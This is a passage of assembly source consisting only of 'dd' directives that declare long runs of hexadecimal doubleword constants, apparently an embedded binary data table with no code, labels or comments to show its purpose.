dd 9343F855h, 0A3EAF4A2h, 2A00677Bh, 0FCC12541h, 35F157h
dd 586BC40Eh, 3E7971C0h, 9CE0DC24h, 8EE8FD01h, 0CED8145Eh
dd 7C1A3A1Fh, 0DB90CD00h, 0A79B2068h, 7EC5AB05h, 0C4C04246h
dd 12C5B52h, 0E0F54D17h, 308F24F4h, 424C7DCEh, 586A03B3h
dd 0F9480832h, 0B370F7EEh, 40BD4E6Fh, 6E84383Ch, 4E00A75Dh
dd 27C983FBh, 0C07B1994h, 2BE36A20h, 0AC047C12h, 0DA2F08F3h
dd 26B940B4h, 8E2497AEh, 4E001082h, 332D92A6h, 5B94E899h
dd 0CA321889h, 77D4EBBEh, 0F2F09E9h, 64807DB1h, 0F415F642h
dd 89301300h, 0DC02C127h, 3B4E61Dh, 0EAC55394h, 8A98CFE8h
dd 1E381B87h, 7700FAFCh, 7259BBE9h, 95815Bh, 990AE16Fh
dd 0A78923FBh, 0BE8B5101h, 0E2829E5Ah, 77B3E0h, 0A04DD89Bh
dd 5CB04639h, 1EF3FA00h, 4E07A53Dh, 2C8071E2h, 81CCDA2Eh
dd 0CFF3784Ch, 0D530C8D2h, 0CF5792Eh, 7A65A602h, 0A44CE021h
dd 0C6236097h, 0CF065725h, 46E4F000h, 0CEC3EC3Ah, 0EAC20378h
dd 0B7DCBF88h, 209CC090h, 47FBB601h, 50435938h, 21C020h
dd 835B6FEBh, 57F47371h, 23377700h, 4DD3FFB0h, 0A2E60039h
dd 50177D10h, 0C12E5EADh, 3E8F88F8h, 15A5E012h, 96FED1h
dd 7999BC76h, 0B005D9C9h, 6400584Bh, 0DE8AFF6Bh, 44A76F9h
dd 3A0F8C65h, 0FD04827Dh, 0A1016458h, 7969B475h, 99E0F3E6h
dd 2291120Eh, 0AA6CC093h, 3A00A171h, 61A86BBDh, 7FBCA6F1h
dd 9C680956h, 40808DC7h, 0A8E02536h, 0C7A3DB24h, 75509F00h
dd 0E2233CCCh, 17D30008h, 0FCF326B3h, 0CF2C5235h, 0C00CF83h
dd 887E9D27h, 74BE00C0h, 0B0F53E2Ch, 0D104F21Ch, 60347765h
dd 0DB8FEC90h, 93CD5C5Ch, 4B62F100h, 0DF24647Dh, 159ED017h
dd 97251800h, 33F2AE9h, 0CBE6886Fh, 8D98CF62h, 6E1DE3B1h
dd 6B061217h, 48CC67h, 0A3FD3230h, 0AF29631Fh, 0F898D60Fh
dd 0B51DC05Ch, 5CFF5619h, 33CC835h, 0B6AF9400h, 964C9C8Ch
dd 74242800h, 0C095A1C6h, 5B209AAh, 0C8003563h, 597FA8B0h
dd 0F802B800h, 70828876h, 0F2180065h, 0A093D185h, 3301F9E3h
dd 80E4ABA6h, 32E47804h, 1D350038h, 8C64473Ch, 30001EDEh
dd 5311FB4Dh, 0BC0CC2Dh, 0B59AACD8h, 26ED10A0h, 3F546970h
dd 0D60508D8h, 770F9901h, 88F20AC3h, 7C7D3BF5h, 0B5C0034Bh
dd 1FB176FEh, 5498DEC0h, 67B82700h, 318377E3h, 0A8EA3Dh
dd 95C11236h, 0C62B1F9Bh, 980A1C01h, 10B337C5h, 0C4407BD5h
dd 7F0C311h, 0F205BE76h, 80F8E60Ch, 9B003B76h, 2631029Eh
dd 5CD98333h, 5F2E6411h, 0BDBF041Bh, 8B54E09Fh, 934E709Eh
dd 0ED00C05Fh, 1FB32242h, 0EB0F0FD6h, 5FE1C06Ah, 0ECEFF59Ch
dd 0A90078F7h, 55FAD38Dh, 4C28EADh, 4B0A7C64h, 0B0F3C7F4h
dd 45860801h, 482C590Ch, 377189h, 0CA07610Ch, 0FD4D424Ah
dd 885B5500h, 33E27C1Eh, 70980Bh, 6BF8F08Ch, 5BE544FBh
dd 9078A626h, 36D849h, 0AE2B9B32h, 9111FE53h, 0C0B520C7h
dd 0F8DDE01Fh, 137F2F5Eh, 1650D481h, 999800DCh, 3F53F964h
dd 56046000h, 0D31CFDD1h, 47A7028Fh, 22E62D40h, 0FE0E943h
dd 6500C794h, 26B0088Bh, 0A0629Eh, 9F5B29D6h, 0EE96AD7h
dd 0D1BF6951h, 729C40C7h, 0E53C7F35h, 55D21C70h, 2C14BB80h
dd 177D76D4h, 20D583F5h, 943A3C8h, 0C11D009Ch, 415AED40h
dd 9147AEh, 0D7A75F10h, 616A74E8h, 4A0120BAh, 6E87E94Fh
dd 0E8C71425h, 30C5DC94h, 6FC8BF1Ch, 6800792Dh, 0C38B9B67h
dd 0AACCA2h, 0E7F024D9h, 0C8ECCBB4h, 94904600h, 83E84ABh
dd 5480C0FBh, 0FD1A825h, 4E016917h, 74407430h, 9AED488Fh
dd 0C220BD00h, 0C9D6ABCAh, 0B0C09578h, 9A5DDB77h, 51D30B4Bh
dd 70A0D006h, 0E0722931h, 7C75F124h, 8EFF1601h, 0EDCC4844h
dd 0ACC358D8h, 0F5598300h, 0F01FEB9h, 85291139h, 2D7CA7Bh
dd 0E0EBAAC3h, 0EAD421h, 6D134CCCh, 0F692F2DDh, 0C8A1102h
dd 0E0235A22h, 1260649Eh, 27F54F4h, 0C44AEE14h, 2EB99CE0h
dd 0CE402F00h, 0E04E1A5h, 8B832DACh, 0DD539080h, 7900A4AEh
dd 0BFD0752Fh, 171527ECh, 0EBA19Bh, 4BAF6EB4h, 0E9000454h
dd 860A67FAh, 12CCA66h, 6C97BB9Bh, 34207ADCh, 781E7B08h
dd 0E0B0C01Ah, 9F0176h, 618E99EAh, 0E1E3CE90h, 323BF098h
dd 0ED161E84h, 0A095968Fh
dd 7CF6CDD3h, 80B0017Eh, 1BFFDCEBh, 0AAA2F40Dh, 55CB2700h
dd 0CA1873B3h, 5A0C0EFCh, 7DC0C6F2h, 2A43E2B2h, 25EA5DFEh
dd 99D7D904h, 4806BCFh, 0E90C9h, 89BD7F5Bh, 0FC879796h
dd 0E60CAB00h, 0C7540F17h, 0C343002Ch, 9C155E53h, 500A1F1h
dd 2BF647D2h, 1D8870Eh, 0A770B08Dh, 0C4B9E957h, 0A100FE74h
dd 0A5715832h, 0F00C317Bh, 0E35E00CFh, 7D6CA98Dh, 1600F926h
dd 60694686h, 4C73549Bh, 7701C8A2h, 83A71B8Dh, 0CEEC245Fh
dd 6A3F8400h, 94935980h, 49DDE239h, 57001418h, 79BC4F5Dh
dd 5B012391h, 905C0631h, 0A824EC36h, 21571653h, 4D30FA1h
dd 32F21B20h, 3A07FAB5h, 6AA6748Bh, 0AD72D860h, 5A34FC41h
dd 832C0F43h, 58C6636Fh, 0A073911h, 2191B572h, 0F8166C50h
dd 9AC0F9AAh, 1C807D97h, 2E15DD8Ah, 0BFE6052Ah, 239C019Eh
dd 3C03EE3Ah, 0D179821Ch, 2A16E1F7h, 4367F70h, 0C2F40DA9h
dd 0E7E88011h, 0D2071316h, 0FEE39C08h, 0A4501F20h, 2201007Eh
dd 0D6786137h, 0D30007EFh, 47FABE03h, 609BC219h, 7A4C4466h
dd 0B9501F43h, 0D1664ECh, 68074628h, 0DD978114h, 4230ADA7h
dd 371FD4h, 8AAF8C63h, 0B006A62Ch, 268B9817h, 0EBD9D001h
dd 74606602h, 53EC0091h, 0B738873Bh, 341CEAE3h, 0CC8072A8h
dd 0FE17CD0Ch, 4B000D6h, 20EB8627h, 37E88351h, 0D952EC01h
dd 0E15A60A9h, 5CC42FD8h, 0EC7D9970h, 0BB7E3FF4h, 3AC36F00h
dd 23FEFB2Ch, 5C0E6A24h, 0E0A7F80Fh, 0D058CA9Dh, 281E034Fh
dd 6CA21B29h, 79F83188h, 8C19E426h, 0F524D380h, 0F2FD8Ah
dd 4C6E4EB6h, 98DF55CAh, 2671A20h, 2C52B7F0h, 0F883A1F4h
dd 0A8B8A08Bh, 0BB267184h, 8A007CF9h, 0FB5136CDh, 2B813D31h
dd 0FE4AC280h, 3C4417BAh, 8CC67D00h, 0C83D4366h, 0BC8F1EC0h
dd 477A1C37h, 502579B9h, 657FF52Ah, 0F29E1A16h, 0FAC413h
dd 0CB108369h, 110F3FDEh, 0DC1B44h, 821E369Bh, 517231EDh
dd 793A13C0h, 400075E4h, 88111931h, 0A0E59349h, 1E8F1D1h
dd 1E46DBCh, 80F2247Bh, 0AEEEFB19h, 71D7A2B0h, 2B8E0017h
dd 0E7E20F07h, 550AA821h, 0FDA65A81h, 18437000h, 98C7A0h
dd 0CE787FC2h, 626AA708h, 0FDD77A00h, 295DF42Ah, 0C9DA00D5h
dd 0FC20653Eh, 59161E77h, 240FCBB6h, 260017FBh, 30AA3E5h
dd 0ABA20E90h, 0FC0AD8CDh, 5E7300A8h, 2F6C3441h, 36452001h
dd 7681F5C0h, 9F07D06Ch, 0F799757h, 8A302E60h, 0B89E6C8Fh
dd 0D6C51280h, 7F2D371h, 9A46BE37h, 10E3F0FAh, 992DC383h
dd 0DD1003D2h, 0ACE8A8EEh, 0FA427B7h, 4B57000h, 0C4BA3345h
dd 2289F400h, 9399E37Dh, 3667005Ah, 4BC373BAh, 0A801B460h
dd 280A3390h, 1AFC18CCh, 0DF253D4Eh, 0EBD7E680h, 6445ECA3h
dd 2608CD48h, 0B10E9829h, 0B3A8408Eh, 0A083B080h, 4EA7C4h
dd 7AE05451h, 0E7AB8CCAh, 7717889Ch, 0DFB7D000h, 7E01CE21h
dd 8495072Bh, 106BB66Ah, 1DC1DC9Ch, 70C5D824h, 24D28C00h
dd 941E3904h, 0DC768ED8h, 3E25AB40h, 0BE70C5E2h, 0F80090B8h
dd 40D9A4F9h, 0C96724h, 0CC8E7292h, 82533717h, 6B151300h
dd 0EC02BC8Dh, 50A2000Fh, 6A3F8EAh, 3F1764EFh, 20802A16h
dd 0B05952h, 514F82E4h, 0A5FD8B35h, 8D0129F0h, 381BBB33h
dd 17EC3052h, 3B2B019Ah, 86A4B91h, 0CD84D866h, 3D1038E3h
dd 9B208071h, 0ECCE27A2h, 0B492A4h, 1113DA07h, 50DC1AB3h
dd 9E3CCA73h, 0D89EF3DDh, 33634000h, 1E22E164h, 2F7B963Ch
dd 0F16E84A3h, 0BE2EFC00h, 0AEA32B23h, 0CAD48F6h, 0E59F1708h
dd 0F1C484Bh, 1CEC91CAh, 301A808Bh, 0B74AFAB0h, 9B0BF500h
dd 0CF9091EBh, 0B37295h, 3386826Ch, 5B0602D8h, 0DC13472Dh
dd 51003E42h, 4A71F73Ch, 1F77F9C9h, 0BEA6F800h, 282ADFFFh
dd 8630009Ch, 0E4324DBh, 5DEE6472h, 0A8AF772Eh, 0E3C2F242h
dd 158AE0A5h, 0EDD806F4h, 1162757Bh, 8200B8EAh, 0C4665472h
dd 39DE9023h, 0AE85E0ECh, 0C7D640E9h, 67BB410Bh, 4F6AC4B8h
dd 50598D00h, 41ACDE6Bh, 16217DBDh, 1B9FC1h, 54F7C841h
dd 1D003313h, 27B59EBAh, 0A071AABFh, 6C65ACh, 0ED2306E9h
dd 566CB8Bh, 0BBAC9C1Eh, 7E9F8CDFh, 47D79340h, 0E0EFAFh
dd 0F75877C7h, 0CCF9B907h, 959EC100h, 1D618651h, 400127DEh
dd 0E3EEC81h, 304B2AEEh, 35AB82E2h, 53A4E0EDh, 0E445006Ah
dd 803BB609h, 0C5009A63h, 81ACA29h, 1DF07F1Fh, 0CC503F2Ah
dd 0CE28E7B2h, 97758300h, 4FA52856h, 18E8D8h, 4DB88D9Bh
dd 74111D7Eh, 0AC07D400h, 2205F7DBh, 4338036Dh, 0B1836391h
dd 4A8A7DD0h, 0A10D1A06h, 0A89026h, 73244ED7h, 22FEF0D6h
dd 0C406494Ah, 403008B1h, 0D0E78072h, 5801A101h, 3956BE1Ch
dd 7F700294h, 18B13B5Ch, 3EAAC500h, 67CDF026h, 0B603E978h
dd 7510ED36h, 0EC90EC7Eh, 74FE1A62h, 0F88F957Ch, 24A0C78Fh
dd 5D2D2902h, 2839D40Ch, 18807182h, 287DFDDEh, 8CEB42F8h
dd 98028A49h, 14525782h, 49381271h, 38EAC13h, 99DFB309h
dd 0D01BD0FAh, 19540085h, 915EE4F1h, 5900D26Eh, 46A9C6C7h
dd 0FEFB4376h, 25C858F5h, 58F2D000h, 6036C4EDh, 0ADE30A0Fh
dd 197C6015h, 4A5E7F4h, 0EF173993h, 96DF809Dh, 0EA1686B3h
dd 0FB004097h, 0E1DE3EF4h, 853B0042h, 811D28CEh, 0F1904A01h
dd 76BA5700h, 6083D099h, 9B070061h, 4AD852F0h, 280122DAh
dd 0D9378441h, 91D4E6E0h, 0D7813h, 0E1739C15h, 5A3DACE7h
dd 0F734E400h, 12100FAEh, 9B2707E9h, 0AE4B5E24h, 0B57C6AC0h
dd 73039FBDh, 33561251h, 0B018FB59h, 2CD17h, 60D08825h
dd 419B8429h, 3C090D00h, 0E9467856h, 98D4A9FFh, 1303AC0h
dd 555CE528h, 0D15D3D11h, 77246C82h, 5E3A0803h, 0E0FAE515h
dd 0A97A529h, 76D7ABF9h, 0F36483DCh, 3CB846F1h, 4300FA17h
dd 0CA7FF72Ch, 7C5E8182h, 0E5D80C01h, 47803E78h, 39E7048Ch
dd 62ED290Bh, 0FD221A7h, 1CD8603Ah, 0C9029302h, 0E0238F06h
dd 0D320722h, 2E3FC452h, 80402F70h, 466FC997h, 841600E8h
dd 0F6207770h, 0B4BA2108h, 0E60E9EE2h, 81D651B8h, 3EBF7D25h
dd 40750892h, 0B8EEF194h, 502547F0h, 0B77423h, 0F93C022Eh
dd 57633BD2h, 2E722170h, 10C231h, 0B619529Ch, 7E7F652Eh
dd 0F326C426h, 683A8400h, 5EFEDAh, 9E2BCD77h, 0F38C7FF6h
dd 9C708D28h, 0E9035F01h, 6278746Dh, 0C03545F0h, 21B91570h
dd 891C0892h, 9300A642h, 5FF5207Dh, 0B6F6B3h, 841967B2h
dd 0D7FEDB35h, 0A78D0407h, 9520A307h, 0F0B52685h, 1FF1F380h
dd 20BC2BE1h, 75DDB606h, 0BD0031D4h, 0ACECD8DBh, 0AB48FBh
dd 0C413D53Dh, 0CA74145Bh, 0F121AD00h, 88AE966Bh, 3F6C00C3h
dd 0C607EFC1h, 0B8008097h, 0A5938A44h, 53A77594h, 419C1499h
dd 96A83C89h, 2D9980BCh, 8C6205ADh, 21850C59h, 68B19250h
dd 4F3A8FE1h, 94118583h, 0DDD30C44h, 8815821h, 15E342EBh
dd 2118A9DCh, 19A019F3h, 0ED49F410h, 0EAE26182h, 0E788A1D2h
dd 0A0808C99h, 5E909CACh, 0E831427Bh, 0F2052118h, 1847EAD4h
dd 5181112Bh, 0BE506F26h, 9300761Ch, 11436CADh, 781BB432h
dd 0E81C78BBh, 0D76F0803h, 0A70730EAh, 10826ED5h, 6108874Eh
dd 962783h, 91452D71h, 0A8A39AF8h, 0B8293F72h, 892694B3h
dd 105100Bh, 0A6CFFCB4h, 708A1882h, 0CFC0458Ch, 0FCA823F8h
dd 7A1F2B73h, 0B7405247h, 540C3975h, 1508EE2Eh, 80149B50h
dd 0B5312F30h, 0B90091E3h
dd 7E51BD7Bh, 555CB6Bh, 93E073A6h, 0F12C0003h, 0EF856E7Ch
dd 0AE262400h, 0C470F816h, 0DCFC0087h, 271C0D3Dh, 0B2CB0FFh
dd 0C600A12Fh, 5BF24EF9h, 7C54908Ah, 31D7070Ch, 0B318AA42h
dd 1803B8C3h, 8F826A14h, 90D92CD6h, 0C0630036h, 64B9EE2Fh
dd 8DC24200h, 857E4669h, 0FE111889h, 444E992Ch, 3595AF00h
dd 6240147h, 337E017Fh, 85215D90h, 3881F057h, 0CDDB3402h
dd 815CF397h, 0DE5028B0h, 3E2EEC51h, 76B0C451h, 952CB30h
dd 9B816D3Bh, 53D62E80h, 0D9009827h, 194CEEDDh, 93FAB67h
dd 7A8F8813h, 6EB87800h, 0A5395175h, 0E9DE0082h, 0B4B19CDAh
dd 130E1481h, 0C1FA04B5h, 113C56C2h, 603152F0h, 2646D076h
dd 5075FB36h, 0C1C63F8h, 0B3874213h, 8B115261h, 2888AF70h
dd 0A991730Ah, 0A47BDB00h, 316421E0h, 3A143E00h, 18D91953h
dd 2C0A3E71h, 28011B3Dh, 6AF69A1Ah, 5AC2C8E6h, 1EBAF300h
dd 0E598B1C6h, 97CB1C6Dh, 4E1840E7h, 3CFBD6FAh, 51F44B00h
dd 935D556Ah, 6404006Fh, 72F2A70Ch, 1A0016A2h, 7A415F20h
dd 0CD2F01h, 5ED960F6h, 0E540425Bh, 5534B3Dh, 0DEDC67CEh
dd 0F580E900h, 260E39h, 0FB3AE9E0h, 4A97515Bh, 314CA500h
dd 0DCEECCCBh, 0A0F300FEh, 4783743Ch, 451E5433h, 90000F72h
dd 0C3BD0E7Fh, 59630F77h, 3A20A7ECh, 82F19D1Dh, 4D3E6770h
dd 3BEE80BCh, 6861B087h, 0C78A012Eh, 4F6B0D9Dh, 0F77DE837h
dd 6A31D500h, 36BA5D10h, 85F8002Dh, 29461335h, 0D401B1CBh
dd 0DA3DBD21h, 90FBABA5h, 0E7B3A76h, 721D96CAh, 31D2E220h
dd 1100CB15h, 6A0182EFh, 1E1BC866h, 8026CFD7h, 0E3CE3527h
dd 0D8008CC0h, 0BDD4672h, 676B8176h, 60FC60D0h, 0AC07146Eh
dd 708CBA0Eh, 0F4F00031h, 0EADA6A4h, 0F6055F1Eh, 49E45566h
dd 7F5EC800h, 0DAA17C09h, 9C500E99h, 0CDA2D48Bh, 0B48174E8h
dd 0F019044Eh, 0B5007F87h, 2D9734C8h, 0A80F71h, 2985709Eh
dd 79010C31h, 0E4446003h, 0E8976125h, 78CA46F9h, 0BE5E006Ah
dd 0EAC4DB4Eh, 0E001B49h, 0D122CE2Fh, 48C5AADFh, 8F006C5Dh
dd 4EB57AC2h, 0AD006D74h, 88C4F2D2h, 48D1C951h, 0CD07433Ch
dd 302AB705h, 0EA1B0E68h, 0A8624B30h, 0AF9DCBh, 0D43390FFh
dd 0AA262AFCh, 0EC9EBE01h, 0CA195831h, 1A3FC24h, 0FFAAD7Bh
dd 9FB3096Eh, 0E500C1E9h, 47B68ECEh, 2BD00094h, 53C6F622h
dd 0B200F170h, 0BB88ED1Dh, 79A84AD3h, 2BB40698h, 78915C59h
dd 41079C87h, 1EB067A3h, 0B8C7C5h, 0BF315306h, 5B6E4D12h
dd 1C3D74CAh, 8007A0E3h, 39AA45Eh, 3C2E9258h, 0B9C9494Ch
dd 8BD7EC20h, 3807BA00h, 9F6A430Eh, 93D52D12h, 0D000B976h
dd 72203BBBh, 0B84C0021h, 33992278h, 0C538A3E3h, 0A65B07C9h
dd 0B8051EEh, 9D2747h, 0BD7AE748h, 0E9EC362Fh, 10C024B0h
dd 90300BB4h, 0AE2FE92h, 5A191B06h, 4AC03A4h, 9AF9C5B3h
dd 0AAC2413h, 0B25C7C00h, 53FAD1Fh, 0C779A0h, 9B6AEC31h
dd 5A248050h, 0EF0E97F8h, 0C0C0372Fh, 4303D866h, 1BBF00DFh
dd 97E514E2h, 63019E3Fh, 0B2DB4641h, 7AD4DE3Eh, 0B8C83AE4h
dd 4994F31Fh, 0C21CE72h, 23248990h, 0E66F1D34h, 0C69F0079h
dd 8FCA80A4h, 4AF757Eh, 88CC1CFCh, 81A0C3B8h, 0CE5F02A8h
dd 3F18D190h, 0FFC87320h, 0F5B00Eh, 19344B89h, 0D66D12DEh
dd 9206F4A7h, 239C70Ch, 0D0479853h, 6BC0FB0Ah, 96008E5Fh
dd 0C1A185ECh, 2426082Ch, 0C0445ADDh, 0C853354Bh, 5767AE00h
dd 0FFACB4D9h, 88A24D06h, 0E3509300h, 0BC606B12h, 0D1264F00h
dd 250BF34Ah, 0C9553824h, 8A8103B0h, 39508F92h, 5E0554ACh
dd 78EEDB96h, 452FD440h, 3410FF1h, 0A4F50598h, 0C88E952Dh
dd 0B6A33A00h, 43B550E5h, 97BD007Dh, 0AC9CC60h, 0D807AF9Ch
dd 3588B23Ch, 2C0FB9ACh, 5034461h, 32B620DCh, 0FCC2EFC0h
dd 0CCC45861h, 92007E70h, 0F66C944Bh, 2B0DC641h, 3EB886B1h
dd 6E1BED00h, 22F291BCh, 0AEB3C11Dh, 802D79C3h, 0D546D8F7h
dd 8D74004Ah, 1A1ED838h, 0A8A02E6Ch, 5F80B472h, 4D9000B5h
dd 0F4D06366h, 42E7E35h, 0FF03318Fh, 0F0262908h, 484E8913h
dd 2800506Ch, 0A58AC0BFh, 200090A3h, 3ADB476Bh, 1A2572Dh
dd 0AB0D55D1h, 608AA7EAh, 0D20125BCh, 0AFFA1466h, 9C435DDFh
dd 211FC8D0h, 0ECD6151Ah, 0D40F949Ch, 0EF8356C3h, 0C898E076h
dd 130005F7h, 8C84ACB6h, 1DB0CD2Eh, 0C63C6815h, 0A01127CCh
dd 3FFEAA73h, 0FF4E3100h, 2A09A7EFh, 43B61CE5h, 6CC0C250h
dd 784E6245h, 0B871EF29h, 0C2741115h, 62E352A4h, 0C7C80234h
dd 876540D2h, 0FBCB04CCh, 0C0959EF9h, 3C6D4A20h, 0E7F7AA00h
dd 81789DADh, 119B0031h, 0DD1A6447h, 7D059F0Dh, 0EEDCFE59h
dd 2A6BD800h, 484127CFh, 4850A82Eh, 2661F468h, 810484FBh
dd 7EEB126h, 0C3BC3278h, 91C27EF8h, 0C60DF21h, 0F65601CDh
dd 95C5040h, 437C2461h, 5AD362C0h, 0F3058DC5h, 35B55880h
dd 868A498Bh, 9626FC0Bh, 66400A0h, 19D94E8h, 0E92BB0ABh
dd 509B4656h, 40A17DD8h, 2B38E0Ch, 1EEB8EAEh, 40F94808h
dd 8AEF0D75h, 9D1C0771h, 0E4C03CF2h, 37A0AA2h, 1E7C12FCh
dd 40581D49h, 0CED54B41h, 3B0CC53Eh, 60762409h, 0A795006Bh
dd 36A6077Ch, 0E28634Ah, 9A01B78Ah, 3F429F76h, 79FD4C47h
dd 1DD83084h, 5AEFC09Ch, 4100FF8Bh, 5C540E20h, 3D792F0Ah
dd 2A80C058h, 86FA74Ch, 0C202DCDAh, 3386F557h, 0AD4C408Bh
dd 0DE2F09FFh, 1F80D5EBh, 6C3D19ABh, 9AF58301h, 5ED69944h
dd 5445D4h, 301FD942h, 0B966D5CDh, 3DEAFE03h, 0A23EF68Ah
dd 586040FCh, 0D0C755A7h, 0A2FA6F42h, 0C0E245E4h, 3B7936A3h
dd 580B96Ah, 0CC7157B1h, 10E4E6D5h, 0BA650B1Fh, 0D62462C0h
dd 0EA67BFh, 5892735Fh, 89684A47h, 0CEF58100h, 0F16ED087h
dd 3313394Eh, 4032620Fh, 9BB5003Fh, 1AA03E94h, 0AB26A00h
dd 0D2DBDE5h, 7CDAF8AEh, 5ADE00C6h, 0CACD0F6h, 7600BF92h
dd 0B5CCE90Bh, 0FA8BD444h, 0C57B02h, 0C7AD1162h, 4079ED1Fh
dd 9575362Eh, 0CE3D803Dh, 978C4CF3h, 50731567h, 0D212A80Ah
dd 7F421D1h, 0DE980062h, 4D470263h, 5D69CB2Dh, 0BB03C850h
dd 413219E9h, 0FF5AE049h, 3CACFC02h, 0DD2CBAEEh, 10B8838Ch
dd 6B9A9386h, 0B4986050h, 3CA5383Bh, 262B8B58h, 8284A9CAh
dd 48E0B41Ah, 0C090B758h, 2D65089Ch, 0CC00ECE2h, 2B9D37D2h
dd 2C26861h, 0A0421615h, 54685775h, 2870CF74h, 80248859h
dd 89425AD2h, 95A6000Eh, 3A2260F3h, 0AF003FA1h, 0D1FF2303h
dd 715169C0h, 150116E2h, 0D4D1031Eh, 3DA8A950h, 0F417FFE5h
dd 0D00B1A47h, 5976073Fh, 8099F5A3h, 72E92Eh, 0F9A2628Dh
dd 7830EC2Ah, 0EC2C3F24h, 89038780h, 7AB66A85h, 98647B10h
dd 0B58B21E0h, 57459100h, 10940FCh, 0A51A5B03h, 5093F9B8h
dd 5C155AA4h, 0F090E858h, 690F25D5h, 589E5876h, 9B44988Eh
dd 95B40060h, 0C5CADC6Fh, 46583FEAh, 721DE018h, 0FD620193h
dd 0B16B8824h, 0D3188156h, 6A4A96FFh, 172064h, 872B9ABEh
dd 0D4701DC9h, 0F456600h, 0A9D59968h, 24810209h, 0E3471690h
dd 0B7670051h, 8C0B1255h, 4A50989Fh, 0AB3F0146h, 0DFC39EFEh
dd 53843433h, 0D0E5262Ah, 230090B8h, 0C80370FAh, 0C040EF15h
dd 0C73092C1h, 987DFBBBh, 0FE45C909h, 0C39CA097h, 499C5912h
dd 4603505Ch, 4D48F74h, 0B9DE1DA0h, 9F6839h, 228E4535h
dd 0C334DDh, 27DFC581h
dd 0FB71C90Eh, 4D6FA000h, 0E4D488C7h, 0B5850772h, 0BFDD97AFh
dd 9AD0E140h, 71003E3Fh, 14F4A4D7h, 5ABE3E6h, 0B3BB0181h
dd 5FF44269h, 146086C8h, 41E16A09h, 50BEBFF4h, 3357FAB8h
dd 8BEB160Ch, 712FB117h, 10DE60Eh, 9CD15CFEh, 704ED7B9h
dd 963A0C27h, 0DDC080A6h, 56AEF8CEh, 62EF0073h, 0C5121B3Eh
dd 8A3F4696h, 0AD0070AFh, 0EF9ED1A1h, 0E4C1FF32h, 939C00EBh
dd 8630CA0h, 0CC0042A7h, 21D10568h, 31B8C3h, 94823472h
dd 45A14BA2h, 0DF14E100h, 0EF1B677Fh, 64102624h, 9370B18h
dd 0E001AC0Eh, 38D18CA7h, 0CF9B0000h, 0D23E5EAFh, 136E0FB9h
dd 405E70A5h, 8F22E4F8h, 0EA009048h, 0CA56FD61h, 941155h
dd 16763C7Dh, 0D228C7D1h, 280CF59h, 3043AB04h, 0EBDC68BFh
dd 160324C7h, 572381C4h, 30BA95F8h, 78169E6Eh, 0D0007C5Dh
dd 4E8B7FFDh, 525E012Ch, 0E4535AC9h, 7EB4603Dh, 1C9F2048h
dd 505FD88Ch, 32D9AB80h, 0B5CA1Eh, 15E42507h, 0F5BE35A6h
dd 4975C300h, 0B869868Eh, 821A0391h, 52E39DEh, 550B01A0h
dd 0A4EAD1E6h, 0E61FDD0Eh, 704B206Ah, 0FFC79Ch, 0A1740825h
dd 11DD5D60h, 0C6D09607h, 48D02947h, 7ABA942h, 0AF4EED68h
dd 122BF09Fh, 1C0FA6E6h, 833AC7A4h, 0F8EB5E74h, 9D597Eh
dd 3B7CE3EDh, 0F7E8B92Eh, 0E67D0B00h, 90BB2D14h, 501C00E1h
dd 5C823BE7h, 0DD0091F3h, 0AF8B9F6Fh, 35CEAEh, 18FB5F78h
dd 14D979FFh, 0B8633203h, 90812AD0h, 0BCF3173Bh, 86B60056h
dd 93E6A630h, 8E65A300h, 0C8AF0D11h, 2F2B3h, 77B823E8h
dd 0C362DC99h, 10D8BF00h, 0D05D4514h, 17B00084h, 0B37559C5h
dd 0BBF68E6Bh, 0F48AFF6h, 22970220h, 40E39BFDh, 38B1ADDCh
dd 0FC002552h, 9E9AE0AFh, 8E07B0B9h, 61EE0575h, 4440400Eh
dd 74A86Fh, 0D45D4202h, 0D77E3368h, 964F9A09h, 0A0200C26h
dd 3EAB5h, 32F1F0F2h, 0DB157C6Eh, 991E8DE4h, 7440FF58h
dd 9695F230h, 50603BB6h, 0A5B0DB00h, 847FC6D4h, 0A1667600h
dd 4799BD70h, 7C5500D0h, 6ACE7858h, 0E00C42Bh, 277B6F76h
dd 4A960426h, 6B5C00A3h, 57A679E9h, 0A45EDFA0h, 6941B100h
dd 0F963BBBDh, 34E10042h, 0A5ADC053h, 0ED021A9Bh, 54CAA17Fh
dd 0B3306881h, 0A0103E6h, 0BA73F97Bh, 36CCD912h, 5C60D813h
dd 0EC85519Ah, 8EA700D4h, 0BB7443CBh, 0D7001D75h, 0D2A904BDh
dd 0D08081h, 5A97A5FFh, 8B1FA4B8h, 0FA89EA02h, 0C3315023h
dd 39DCE87Bh, 7DF800BAh, 3D2990B2h, 10064E8h, 9F2EE6C2h
dd 37A6C8h, 738D50DBh, 0DD7F0A85h, 0F7011902h, 0E3DEBA4Eh
dd 1E69A0E4h, 9B7200D9h, 0BCC84F43h, 14035A5Dh, 0C1DE821h
dd 3AF6A87Dh, 3F880025h, 6E638BE9h, 0E00604Ah, 52C64F8Ah
dd 58BCEE65h, 6C0085CAh, 0DCF679F9h, 0F100C3D2h, 621D15A5h
dd 1C49066Ah, 817CB423h, 4F0CB0Eh, 7ADAEC6Bh, 0C090C600h
dd 85D03851h, 46F70078h, 68186D4Fh, 0A50143F2h, 8AF9804Ch
dd 0BC2C7E9Fh, 0D6D06400h, 0ABAA4DEFh, 36BBA112h, 2CF035A0h
dd 1EC065B4h, 0D583CEEAh, 4BCBC03Dh, 13A7649Dh, 0F5DAD150h
dd 8303F62Ch, 0C9F10D01h, 0CC6023E3h, 4ABF0022h, 8EA825CAh
dd 826116D5h, 2A8FDA18h, 0D903E038h, 0E7173056h, 91D30812h
dd 868044C7h, 394BB31h, 3C11EC47h, 20A8DDA0h, 19177D6Dh
dd 0F9011FCFh, 0DF60F79Ch, 0A4A8E0h, 78BF2B1Ch, 0AC153608h
dd 2FE33C00h, 0FE96C822h, 0E7BE00F9h, 2A04305Eh, 0C8B6505Dh
dd 620A4C1Ch, 0A680887Ah, 7E8E1F38h, 4EFD0030h, 4D3215BCh
dd 1D00DA26h, 449A9966h, 2089456h, 0F3A9401Fh, 20801903h
dd 0D98010FCh, 16E9E617h, 0BB308800h, 6E5232E7h, 0BE6A70B5h
dd 77E6480h, 8E0014C7h, 3D548801h, 199D7DDCh, 6F598057h
dd 70E46968h, 7C50FB0Fh, 49CDE2C9h, 78500Ch, 0DB27F29Dh
dd 0C489CB58h, 17B94D07h, 0D010F0B2h, 0D4475CCh, 88C5C6B0h
dd 40026181h, 90EC8DABh, 1F587718h, 0C3555218h, 61828108h
dd 46950AC8h, 0EEEA000h, 0E597082Dh, 9ADA1320h, 5CD9008Ah
